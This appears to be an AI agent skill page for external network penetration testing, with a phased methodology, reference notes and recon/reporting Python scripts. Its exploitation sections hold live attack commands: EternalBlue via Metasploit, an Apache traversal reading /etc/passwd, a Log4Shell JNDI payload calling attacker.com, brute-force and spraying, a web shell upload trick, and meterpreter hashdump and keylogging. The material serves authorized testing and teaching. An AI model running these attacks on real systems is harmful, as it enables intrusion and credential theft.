npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
Overview
An external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.
When to Use
- When conducting security assessments that involve performing external network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization (Rules of Engagement document signed by asset owner)
- Defined scope: IP ranges, domains, subdomains, and exclusions
- Testing environment: Kali Linux or Parrot OS with updated tools
- VPN/dedicated testing infrastructure to avoid IP blocks
- Coordination with SOC/NOC for timing windows
Phase 1 — Pre-Engagement and Scoping
Define Rules of Engagement
Scope:
- Target IP ranges: 203.0.113.0/24, 198.51.100.0/24
- Domains: *.target.com, *.target.io
- Exclusions: 203.0.113.50 (production DB), *.staging.target.com
- Testing window: Mon-Fri 22:00-06:00 UTC
- Emergency contact: SOC Lead — +1-555-0100
- Authorization ID: PENTEST-2025-EXT-042Legal Documentation Checklist
| Document | Status | Owner |
|---|---|---|
| Master Service Agreement (MSA) | Signed | Legal |
| Statement of Work (SOW) | Signed | PM |
| Rules of Engagement (RoE) | Signed | CISO |
| Get-Out-of-Jail Letter | Signed | CTO |
| NDA | Signed | Legal |
| Insurance Certificate | Verified | Risk |
Phase 2 — Reconnaissance (Information Gathering)
Passive Reconnaissance
# OSINT — Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt
# DNS record enumeration
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short
# WHOIS and ASN lookup
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'
# Certificate Transparency log search
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"
# Shodan enumeration
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10
# Email harvesting
theHarvester -d target.com -b all -l 500 -f theharvester_results
# GitHub/GitLab secret scanning
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repoActive Reconnaissance
# Host discovery — ping sweep
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap
# TCP SYN scan — top 1000 ports
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan
# Full TCP port scan
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp
# UDP scan — top 100 ports
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan
# Service version and script scan
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan
# SSL/TLS enumeration
sslscan 203.0.113.10:443
testssl.sh --full https://target.com
# Web technology fingerprinting
whatweb -v https://target.com
wappalyzer https://target.comPhase 3 — Vulnerability Analysis
Automated Scanning
# Nessus scan (via CLI)
nessuscli scan --new --name "External-Pentest-2025" \
--targets 203.0.113.0/24 \
--policy "Advanced Network Scan"
# OpenVAS scan
gvm-cli socket --xml '<create_task>
<name>External Pentest</name>
<target id="target-uuid"/>
<config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'
# Nuclei vulnerability scanner
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
-severity critical,high -o nuclei_results.txt
# Nikto web server scan
nikto -h https://target.com -output nikto_results.html -Format htm
# Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
--depth 3 -o ferox_results.txtManual Vulnerability Validation
# Check for known CVEs on identified services
searchsploit apache 2.4.49
searchsploit openssh 8.2
# Test for default credentials
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
ssh://203.0.113.10 -t 4
# Test VPN endpoints
ike-scan 203.0.113.20
# Check for IKEv1 aggressive mode
# SNMP enumeration
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24
# SMTP enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25Phase 4 — Exploitation
Network Service Exploitation
# Metasploit — EternalBlue (MS17-010) example
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Apache RCE — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# ProxyShell exploitation (Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com
# Log4Shell (CVE-2021-44228) testing
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/apiWeb Application Exploitation
# SQL Injection with sqlmap
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5
# XSS payload testing
dalfox url "https://target.com/search?q=test" --skip-bav
# Command injection testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch
# File upload bypass
# Upload PHP shell with double extension: shell.php.jpg
# Test content-type bypass: application/octet-stream -> image/jpegPassword Attacks
# Brute force RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4
# Spray attack against OWA
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa
# Crack captured hashes
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rulePhase 5 — Post-Exploitation
# Establish persistence (authorized testing only)
# Meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester
# Privilege escalation check
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt
# Data exfiltration proof
# Create proof file (DO NOT exfiltrate real sensitive data)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt
# Network pivoting through compromised host
# Set up SOCKS proxy via SSH
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24
# Screenshot and evidence collection
meterpreter> screenshot
meterpreter> keyscan_startPhase 6 — Reporting
Finding Classification (CVSS v3.1)
| Severity | CVSS Range | Count | Example |
|---|---|---|---|
| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |
| High | 7.0-8.9 | 5 | SQL Injection in customer portal |
| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |
| Low | 0.1-3.9 | 12 | Information disclosure via server banners |
| Info | 0.0 | 6 | Open ports documentation |
Report Structure
1. Executive Summary
- Scope and objectives
- Key findings summary
- Risk rating overview
- Strategic recommendations
2. Technical Findings
For each finding:
- Title and CVSS score
- Affected asset(s)
- Description and impact
- Steps to reproduce (with screenshots)
- Evidence/proof of exploitation
- Remediation recommendation
- References (CVE, CWE)
3. Methodology
- Tools used
- Testing timeline
- Frameworks followed (PTES, OWASP)
4. Appendices
- Full scan results
- Network diagrams
- Raw tool outputRemediation Priority Matrix
| Priority | Timeline | Action |
|---|---|---|
| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |
| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |
| P3 — Medium | 30 days | Harden TLS configs, add security headers |
| P4 — Low | 60-90 days | Remove version banners, update documentation |
Tools Reference
| Tool | Purpose | License |
|---|---|---|
| Nmap | Port scanning and service enumeration | GPLv2 |
| Metasploit | Exploitation framework | BSD |
| Burp Suite Pro | Web application testing | Commercial |
| Nuclei | Vulnerability scanning | MIT |
| Subfinder | Subdomain enumeration | MIT |
| SQLMap | SQL injection testing | GPLv2 |
| Nessus | Vulnerability scanner | Commercial |
| Gobuster | Directory brute-forcing | Apache 2.0 |
| Hashcat | Password cracking | MIT |
| theHarvester | OSINT email/domain harvesting | GPLv2 |
References
- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
- OWASP Testing Guide v4.2: https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115: Technical Guide to Information Security Testing: https://csrc.nist.gov/publications/detail/sp/800-115/final
- OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
- MITRE ATT&CK: https://attack.mitre.org/
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.6 KB
API Reference — Performing External Network Penetration Test
Libraries Used
- socket: TCP port scanning and banner grabbing
- subprocess: Execute nmap with XML output parsing
- dns.resolver (dnspython): DNS record enumeration and subdomain discovery
- ssl: TLS certificate inspection and cipher analysis
- xml.etree.ElementTree: Parse nmap XML output
CLI Interface
python agent.py scan --host <target_ip> [--ports 22 80 443]
python agent.py nmap --target <ip_or_range> [--type quick|full|vuln|udp]
python agent.py dns --domain <domain>
python agent.py ssl --host <hostname> [--port 443]Core Functions
tcp_port_scan(host, ports) — Scan TCP ports with banner grabbing
Scans 22 common ports by default. Returns open ports with service banners.
run_nmap_scan(target, scan_type) — Execute nmap and parse XML results
Scan types: quick (top 100 -sV), full (-p- -sC), vuln (NSE vuln scripts), udp (top 50 UDP).
dns_enumeration(domain) — Enumerate DNS records and subdomains
Queries A, AAAA, MX, NS, TXT, SOA, CNAME records. Tests 10 common subdomain prefixes.
ssl_check(host, port) — Inspect TLS certificate and cipher suite
Returns subject, issuer, validity dates, TLS version, and negotiated cipher.
Default Port List
21 (FTP), 22 (SSH), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3), 135 (RPC), 139 (NetBIOS), 143 (IMAP), 443 (HTTPS), 445 (SMB), 993/995 (IMAPS/POP3S), 1433 (MSSQL), 1521 (Oracle), 3306 (MySQL), 3389 (RDP), 5432 (PostgreSQL), 5900 (VNC), 8080/8443 (HTTP Proxy/Alt HTTPS)
Dependencies
pip install dnspythonSystem: nmap (optional, for advanced scanning)
standards.md2.0 KB
Standards and Frameworks — External Network Penetration Testing
Primary Standards
PTES (Penetration Testing Execution Standard)
- Website: http://www.pentest-standard.org/
- Phases: Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting
- Best for: Comprehensive network penetration testing engagements
NIST SP 800-115
- Title: Technical Guide to Information Security Testing and Assessment
- URL: https://csrc.nist.gov/publications/detail/sp/800-115/final
- Covers: Review techniques, target identification, vulnerability analysis, planning, execution, post-testing
OSSTMM v3 (Open Source Security Testing Methodology Manual)
- URL: https://www.isecom.org/OSSTMM.3.pdf
- Focus: Operational security testing across physical, wireless, telecommunications, data networks, and human channels
OWASP Testing Guide v4.2
- URL: https://owasp.org/www-project-web-security-testing-guide/
- Focus: Web application security testing methodology
- Complement to network-level testing
Compliance Frameworks
| Framework | Requirement | Pentest Frequency |
|---|---|---|
| PCI DSS v4.0 | Requirement 11.4 | Annual + after significant changes |
| SOC 2 Type II | CC7.1 | Annual |
| ISO 27001 | A.12.6, A.18.2 | Annual recommended |
| HIPAA | §164.308(a)(8) | Annual recommended |
| FedRAMP | CA-8 | Annual |
CVSS v3.1 Scoring Reference
| Metric Group | Components |
|---|---|
| Base Score | Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, Availability |
| Temporal Score | Exploit Code Maturity, Remediation Level, Report Confidence |
| Environmental Score | Modified Base Metrics, Security Requirements |
Calculator: https://www.first.org/cvss/calculator/3.1
CVE and Vulnerability Databases
- NVD (National Vulnerability Database): https://nvd.nist.gov/
- CVE: https://cve.mitre.org/
- Exploit-DB: https://www.exploit-db.com/
- VulnDB: https://vuldb.com/
workflows.md4.2 KB
Workflows — External Network Penetration Testing
End-to-End Workflow
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ Pre-Engagement │───>│ Reconnaissance │───>│ Vulnerability │
│ - Scoping │ │ - Passive OSINT │ │ Analysis │
│ - RoE signing │ │ - Active scanning│ │ - Automated scans │
│ - Legal docs │ │ - Enum subdomains│ │ - Manual validation │
└─────────────────┘ └──────────────────┘ └─────────────────────┘
│
┌─────────────────┐ ┌──────────────────┐ ┌──────────▼──────────┐
│ Reporting │<───│ Post-Exploitation │<───│ Exploitation │
│ - Findings doc │ │ - Priv escalation│ │ - Service exploits │
│ - CVSS scoring │ │ - Persistence │ │ - Web app attacks │
│ - Remediation │ │ - Pivoting proof │ │ - Password attacks │
│ - Executive brief│ │ - Evidence gather │ │ - Credential spray │
└─────────────────┘ └──────────────────┘ └─────────────────────┘Daily Testing Workflow
Morning:
1. Review previous day's findings
2. Update target list with new discoveries
3. Run updated scans on newly discovered hosts
4. Verify scan results and triage
Afternoon:
5. Manual exploitation of high-value targets
6. Attempt lateral movement from compromised hosts
7. Document all successful and failed exploitation attempts
Evening:
8. Compile evidence and screenshots
9. Update findings tracker
10. Plan next day's attack vectors
11. Communicate critical findings to client immediatelyReconnaissance Sub-Workflow
Domain Target
│
├── DNS Enumeration ──> Subdomain Discovery ──> IP Resolution
│ │
├── WHOIS/ASN Lookup ──> IP Range Identification ────┤
│ │
├── Certificate Transparency ──> Hidden Subdomains ──┤
│ │
├── Shodan/Censys ──> Service Fingerprinting ────────┤
│ │
└── OSINT (GitHub, Pastebin) ──> Credential Leaks │
▼
Master Target List
(IPs, Ports, Services)Vulnerability Triage Workflow
Scan Results
│
├── Critical (CVSS >= 9.0) ──> Immediate exploitation attempt
│ ──> Notify client if RCE confirmed
│
├── High (CVSS 7.0-8.9) ──> Validate and exploit within 24h
│
├── Medium (CVSS 4.0-6.9) ──> Validate, exploit if time permits
│
└── Low/Info (CVSS < 4.0) ──> Document, include in final reportEvidence Collection Workflow
For each successful exploitation:
1. Screenshot the exploit execution
2. Record terminal output (script command or asciinema)
3. Capture network traffic (tcpdump/Wireshark)
4. Document exact commands/payloads used
5. Note timestamps (UTC)
6. Hash any files extracted (SHA-256)
7. Store evidence in organized folder structure:
evidence/
├── {date}/
│ ├── {target-ip}/
│ │ ├── screenshots/
│ │ ├── terminal_logs/
│ │ ├── pcaps/
│ │ └── notes.mdScripts 2
agent.py5.6 KB
#!/usr/bin/env python3
"""Agent for performing external network penetration test reconnaissance and scanning."""
import json
import argparse
import subprocess
import socket
from datetime import datetime
def tcp_port_scan(host, ports=None):
"""Scan common TCP ports on a target host."""
if ports is None:
ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445,
993, 995, 1433, 1521, 3306, 3389, 5432, 5900, 8080, 8443]
results = []
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
try:
sock.connect((host, port))
try:
banner = sock.recv(1024).decode("utf-8", errors="replace").strip()[:200]
except Exception:
banner = ""
results.append({"port": port, "state": "open", "banner": banner})
except (socket.timeout, ConnectionRefusedError, OSError):
pass
finally:
sock.close()
return {"host": host, "open_ports": results, "scanned": len(ports), "timestamp": datetime.utcnow().isoformat()}
def run_nmap_scan(target, scan_type="quick"):
"""Run nmap scan against target."""
scan_args = {
"quick": ["-sV", "-T4", "--top-ports", "100"],
"full": ["-sV", "-sC", "-p-", "-T3"],
"vuln": ["-sV", "--script", "vuln", "--top-ports", "1000"],
"udp": ["-sU", "--top-ports", "50", "-T4"],
}
args = scan_args.get(scan_type, scan_args["quick"])
cmd = ["nmap", "-oX", "-"] + args + [target]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
import xml.etree.ElementTree as ET
root = ET.fromstring(result.stdout)
hosts = []
for host in root.findall(".//host"):
addr = host.find("address").get("addr", "") if host.find("address") is not None else ""
ports = []
for port in host.findall(".//port"):
state = port.find("state")
service = port.find("service")
ports.append({
"port": int(port.get("portid", 0)),
"protocol": port.get("protocol", ""),
"state": state.get("state", "") if state is not None else "",
"service": service.get("name", "") if service is not None else "",
"version": service.get("product", "") + " " + service.get("version", "") if service is not None else "",
})
hosts.append({"ip": addr, "ports": ports})
return {"target": target, "scan_type": scan_type, "hosts": hosts}
except FileNotFoundError:
return {"error": "nmap not installed"}
except Exception as e:
return {"error": str(e)}
def dns_enumeration(domain):
"""Enumerate DNS records for a domain."""
try:
import dns.resolver
except ImportError:
return {"error": "dnspython not installed — pip install dnspython"}
records = {}
for rtype in ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME"]:
try:
answers = dns.resolver.resolve(domain, rtype)
records[rtype] = [str(r) for r in answers]
except Exception:
pass
subdomains = ["www", "mail", "ftp", "vpn", "remote", "api", "dev", "staging", "admin", "portal"]
found_subs = []
for sub in subdomains:
try:
answers = dns.resolver.resolve(f"{sub}.{domain}", "A")
found_subs.append({"subdomain": f"{sub}.{domain}", "ips": [str(r) for r in answers]})
except Exception:
pass
return {"domain": domain, "records": records, "subdomains": found_subs}
def ssl_check(host, port=443):
"""Check SSL/TLS certificate details."""
import ssl
ctx = ssl.create_default_context()
try:
with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
s.settimeout(10)
s.connect((host, port))
cert = s.getpeercert()
return {
"host": host, "port": port,
"subject": dict(x[0] for x in cert.get("subject", [])),
"issuer": dict(x[0] for x in cert.get("issuer", [])),
"notBefore": cert.get("notBefore"),
"notAfter": cert.get("notAfter"),
"version": s.version(),
"cipher": s.cipher(),
}
except Exception as e:
return {"host": host, "error": str(e)}
def main():
parser = argparse.ArgumentParser(description="External Network Penetration Test Agent")
sub = parser.add_subparsers(dest="command")
s = sub.add_parser("scan", help="TCP port scan")
s.add_argument("--host", required=True)
s.add_argument("--ports", nargs="*", type=int)
n = sub.add_parser("nmap", help="Run nmap scan")
n.add_argument("--target", required=True)
n.add_argument("--type", default="quick", choices=["quick", "full", "vuln", "udp"])
d = sub.add_parser("dns", help="DNS enumeration")
d.add_argument("--domain", required=True)
c = sub.add_parser("ssl", help="SSL certificate check")
c.add_argument("--host", required=True)
c.add_argument("--port", type=int, default=443)
args = parser.parse_args()
if args.command == "scan":
result = tcp_port_scan(args.host, args.ports)
elif args.command == "nmap":
result = run_nmap_scan(args.target, args.type)
elif args.command == "dns":
result = dns_enumeration(args.domain)
elif args.command == "ssl":
result = ssl_check(args.host, args.port)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()
process.py13.7 KB
#!/usr/bin/env python3
"""
External Network Penetration Test — Automation Process
Automates reconnaissance, scanning, and reporting phases of an external
network penetration test. Requires: nmap, subfinder, nuclei, python-nmap.
Usage:
python process.py --target target.com --ip-range 203.0.113.0/24 --output ./results
"""
import subprocess
import json
import csv
import os
import sys
import argparse
import socket
import ssl
import datetime
import ipaddress
from pathlib import Path
from typing import Optional
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
"""Execute a shell command and return stdout, stderr, return code."""
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout
)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", f"Command timed out after {timeout}s", -1
except FileNotFoundError:
return "", f"Command not found: {cmd[0]}", -1
def enumerate_subdomains(domain: str, output_dir: Path) -> list[str]:
"""Enumerate subdomains using subfinder."""
print(f"[*] Enumerating subdomains for {domain}...")
subfinder_out = output_dir / "subdomains_subfinder.txt"
stdout, stderr, rc = run_command(
["subfinder", "-d", domain, "-silent", "-o", str(subfinder_out)],
timeout=600
)
subdomains = set()
if subfinder_out.exists():
with open(subfinder_out) as f:
subdomains.update(line.strip() for line in f if line.strip())
print(f"[+] Found {len(subdomains)} subdomains")
return sorted(subdomains)
def resolve_domains(subdomains: list[str], output_dir: Path) -> dict[str, list[str]]:
"""Resolve subdomains to IP addresses."""
print(f"[*] Resolving {len(subdomains)} subdomains...")
resolved = {}
for sub in subdomains:
try:
ips = [r[4][0] for r in socket.getaddrinfo(sub, None, socket.AF_INET)]
resolved[sub] = list(set(ips))
except socket.gaierror:
continue
output_file = output_dir / "resolved_domains.json"
with open(output_file, "w") as f:
json.dump(resolved, f, indent=2)
unique_ips = set()
for ips in resolved.values():
unique_ips.update(ips)
print(f"[+] Resolved to {len(unique_ips)} unique IPs")
return resolved
def nmap_scan(targets: str, output_dir: Path, scan_type: str = "quick") -> dict:
"""Run nmap scan on target range."""
print(f"[*] Running nmap {scan_type} scan on {targets}...")
output_prefix = str(output_dir / f"nmap_{scan_type}")
if scan_type == "quick":
cmd = ["nmap", "-sS", "-sV", "--top-ports", "1000", "-T4",
"-oA", output_prefix, targets]
elif scan_type == "full":
cmd = ["nmap", "-sS", "-sV", "-p-", "-T4", "--min-rate", "1000",
"-oA", output_prefix, targets]
elif scan_type == "udp":
cmd = ["nmap", "-sU", "--top-ports", "100", "-T4",
"-oA", output_prefix, targets]
elif scan_type == "scripts":
cmd = ["nmap", "-sV", "-sC", "--script=vuln,exploit",
"-oA", output_prefix, targets]
else:
cmd = ["nmap", "-sS", "-sV", "-T4",
"-oA", output_prefix, targets]
stdout, stderr, rc = run_command(cmd, timeout=3600)
results = {
"scan_type": scan_type,
"targets": targets,
"return_code": rc,
"output_files": {
"nmap": f"{output_prefix}.nmap",
"xml": f"{output_prefix}.xml",
"gnmap": f"{output_prefix}.gnmap",
}
}
if rc == 0:
print(f"[+] Nmap {scan_type} scan completed successfully")
else:
print(f"[-] Nmap scan returned code {rc}: {stderr[:200]}")
return results
def check_ssl_tls(host: str, port: int = 443) -> dict:
"""Check SSL/TLS configuration for a host."""
result = {
"host": host,
"port": port,
"ssl_version": None,
"cipher": None,
"cert_subject": None,
"cert_issuer": None,
"cert_expiry": None,
"issues": []
}
try:
context = ssl.create_default_context()
with socket.create_connection((host, port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
result["ssl_version"] = ssock.version()
result["cipher"] = ssock.cipher()
cert = ssock.getpeercert()
if cert:
result["cert_subject"] = dict(x[0] for x in cert.get("subject", []))
result["cert_issuer"] = dict(x[0] for x in cert.get("issuer", []))
result["cert_expiry"] = cert.get("notAfter")
# Check expiry
expiry = datetime.datetime.strptime(
cert["notAfter"], "%b %d %H:%M:%S %Y %Z"
)
if expiry < datetime.datetime.now():
result["issues"].append("Certificate expired")
elif expiry < datetime.datetime.now() + datetime.timedelta(days=30):
result["issues"].append("Certificate expires within 30 days")
except ssl.SSLCertVerificationError as e:
result["issues"].append(f"Certificate verification failed: {e}")
except (socket.timeout, ConnectionRefusedError, OSError) as e:
result["issues"].append(f"Connection failed: {e}")
return result
def run_nuclei_scan(targets_file: str, output_dir: Path) -> str:
"""Run nuclei vulnerability scanner."""
print("[*] Running nuclei vulnerability scan...")
output_file = output_dir / "nuclei_results.json"
cmd = [
"nuclei", "-l", targets_file,
"-severity", "critical,high,medium",
"-json", "-o", str(output_file),
"-rate-limit", "50",
"-bulk-size", "25",
"-concurrency", "10"
]
stdout, stderr, rc = run_command(cmd, timeout=3600)
if rc == 0:
print(f"[+] Nuclei scan completed. Results: {output_file}")
else:
print(f"[-] Nuclei scan issue: {stderr[:200]}")
return str(output_file)
def parse_nmap_gnmap(gnmap_file: str) -> list[dict]:
"""Parse nmap gnmap output to extract open ports."""
hosts = []
try:
with open(gnmap_file) as f:
for line in f:
if "Ports:" not in line:
continue
parts = line.split("\t")
host_part = parts[0]
ip = host_part.split(" ")[1]
ports_part = [p for p in parts if p.startswith("Ports:")]
if not ports_part:
continue
port_entries = ports_part[0].replace("Ports: ", "").split(", ")
open_ports = []
for entry in port_entries:
fields = entry.strip().split("/")
if len(fields) >= 5 and fields[1] == "open":
open_ports.append({
"port": int(fields[0]),
"protocol": fields[2],
"service": fields[4],
"version": fields[6] if len(fields) > 6 else ""
})
if open_ports:
hosts.append({"ip": ip, "open_ports": open_ports})
except FileNotFoundError:
print(f"[-] File not found: {gnmap_file}")
return hosts
def generate_report(
scan_results: dict,
resolved: dict,
ssl_results: list[dict],
output_dir: Path
) -> str:
"""Generate a summary report in markdown format."""
print("[*] Generating report...")
report_file = output_dir / "pentest_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
with open(report_file, "w") as f:
f.write(f"# External Network Penetration Test Report\n\n")
f.write(f"**Generated:** {timestamp}\n\n")
f.write("---\n\n")
# Subdomain summary
f.write("## Subdomain Enumeration\n\n")
f.write(f"Total subdomains discovered: **{len(resolved)}**\n\n")
unique_ips = set()
for ips in resolved.values():
unique_ips.update(ips)
f.write(f"Unique IP addresses: **{len(unique_ips)}**\n\n")
if resolved:
f.write("| Subdomain | IP Address(es) |\n")
f.write("|-----------|---------------|\n")
for sub, ips in sorted(resolved.items()):
f.write(f"| {sub} | {', '.join(ips)} |\n")
f.write("\n")
# Port scan summary
f.write("## Port Scan Results\n\n")
for scan_type, result in scan_results.items():
f.write(f"### {scan_type.title()} Scan\n\n")
gnmap = result.get("output_files", {}).get("gnmap")
if gnmap and os.path.exists(gnmap):
hosts = parse_nmap_gnmap(gnmap)
if hosts:
for host in hosts:
f.write(f"**{host['ip']}**\n\n")
f.write("| Port | Protocol | Service | Version |\n")
f.write("|------|----------|---------|----------|\n")
for port in host["open_ports"]:
f.write(
f"| {port['port']} | {port['protocol']} "
f"| {port['service']} | {port['version']} |\n"
)
f.write("\n")
else:
f.write("No open ports discovered in this scan.\n\n")
else:
f.write(f"Scan output not available (return code: {result.get('return_code')})\n\n")
# SSL/TLS results
f.write("## SSL/TLS Assessment\n\n")
if ssl_results:
f.write("| Host | SSL Version | Cipher | Expiry | Issues |\n")
f.write("|------|-------------|--------|--------|--------|\n")
for sr in ssl_results:
issues = "; ".join(sr["issues"]) if sr["issues"] else "None"
f.write(
f"| {sr['host']} | {sr.get('ssl_version', 'N/A')} "
f"| {sr.get('cipher', ('N/A',))[0] if sr.get('cipher') else 'N/A'} "
f"| {sr.get('cert_expiry', 'N/A')} | {issues} |\n"
)
f.write("\n")
# Recommendations
f.write("## Recommendations\n\n")
f.write("1. Remediate all critical and high severity findings within 48 hours\n")
f.write("2. Patch all identified CVEs on internet-facing services\n")
f.write("3. Implement network segmentation for exposed services\n")
f.write("4. Enable MFA on all externally accessible portals\n")
f.write("5. Deploy WAF for web-facing applications\n")
f.write("6. Review and harden TLS configurations\n")
f.write("7. Remove unnecessary open ports and services\n")
f.write("8. Implement rate limiting and account lockout policies\n\n")
f.write("---\n")
f.write(f"*Report generated by external pentest automation tool*\n")
print(f"[+] Report generated: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(
description="External Network Penetration Test Automation"
)
parser.add_argument("--target", required=True, help="Target domain (e.g., target.com)")
parser.add_argument("--ip-range", help="Target IP range in CIDR notation")
parser.add_argument("--output", default="./results", help="Output directory")
parser.add_argument("--skip-recon", action="store_true", help="Skip reconnaissance phase")
parser.add_argument("--skip-scan", action="store_true", help="Skip scanning phase")
parser.add_argument("--scan-type", default="quick",
choices=["quick", "full", "udp", "scripts"],
help="Nmap scan type")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
(output_dir / "evidence").mkdir(exist_ok=True)
(output_dir / "scans").mkdir(exist_ok=True)
print("=" * 60)
print(" External Network Penetration Test")
print(f" Target: {args.target}")
print(f" Output: {output_dir.absolute()}")
print(f" Started: {datetime.datetime.now(datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}")
print("=" * 60)
# Phase 1: Reconnaissance
resolved = {}
if not args.skip_recon:
subdomains = enumerate_subdomains(args.target, output_dir)
resolved = resolve_domains(subdomains, output_dir)
else:
print("[*] Skipping reconnaissance phase")
# Phase 2: Scanning
scan_results = {}
ssl_results = []
if not args.skip_scan:
scan_target = args.ip_range or args.target
scan_results[args.scan_type] = nmap_scan(
scan_target, output_dir / "scans", args.scan_type
)
# SSL/TLS checks on discovered web services
ssl_hosts = [args.target]
if resolved:
ssl_hosts.extend(list(resolved.keys())[:20])
for host in ssl_hosts:
ssl_result = check_ssl_tls(host)
if ssl_result["ssl_version"] or ssl_result["issues"]:
ssl_results.append(ssl_result)
else:
print("[*] Skipping scanning phase")
# Phase 3: Nuclei scan
targets_file = output_dir / "targets.txt"
with open(targets_file, "w") as f:
f.write(f"https://{args.target}\n")
for sub in resolved:
f.write(f"https://{sub}\n")
run_nuclei_scan(str(targets_file), output_dir)
# Phase 4: Report generation
report_path = generate_report(scan_results, resolved, ssl_results, output_dir)
print("\n" + "=" * 60)
print(" Penetration Test Automation Complete")
print(f" Report: {report_path}")
print("=" * 60)
if __name__ == "__main__":
main()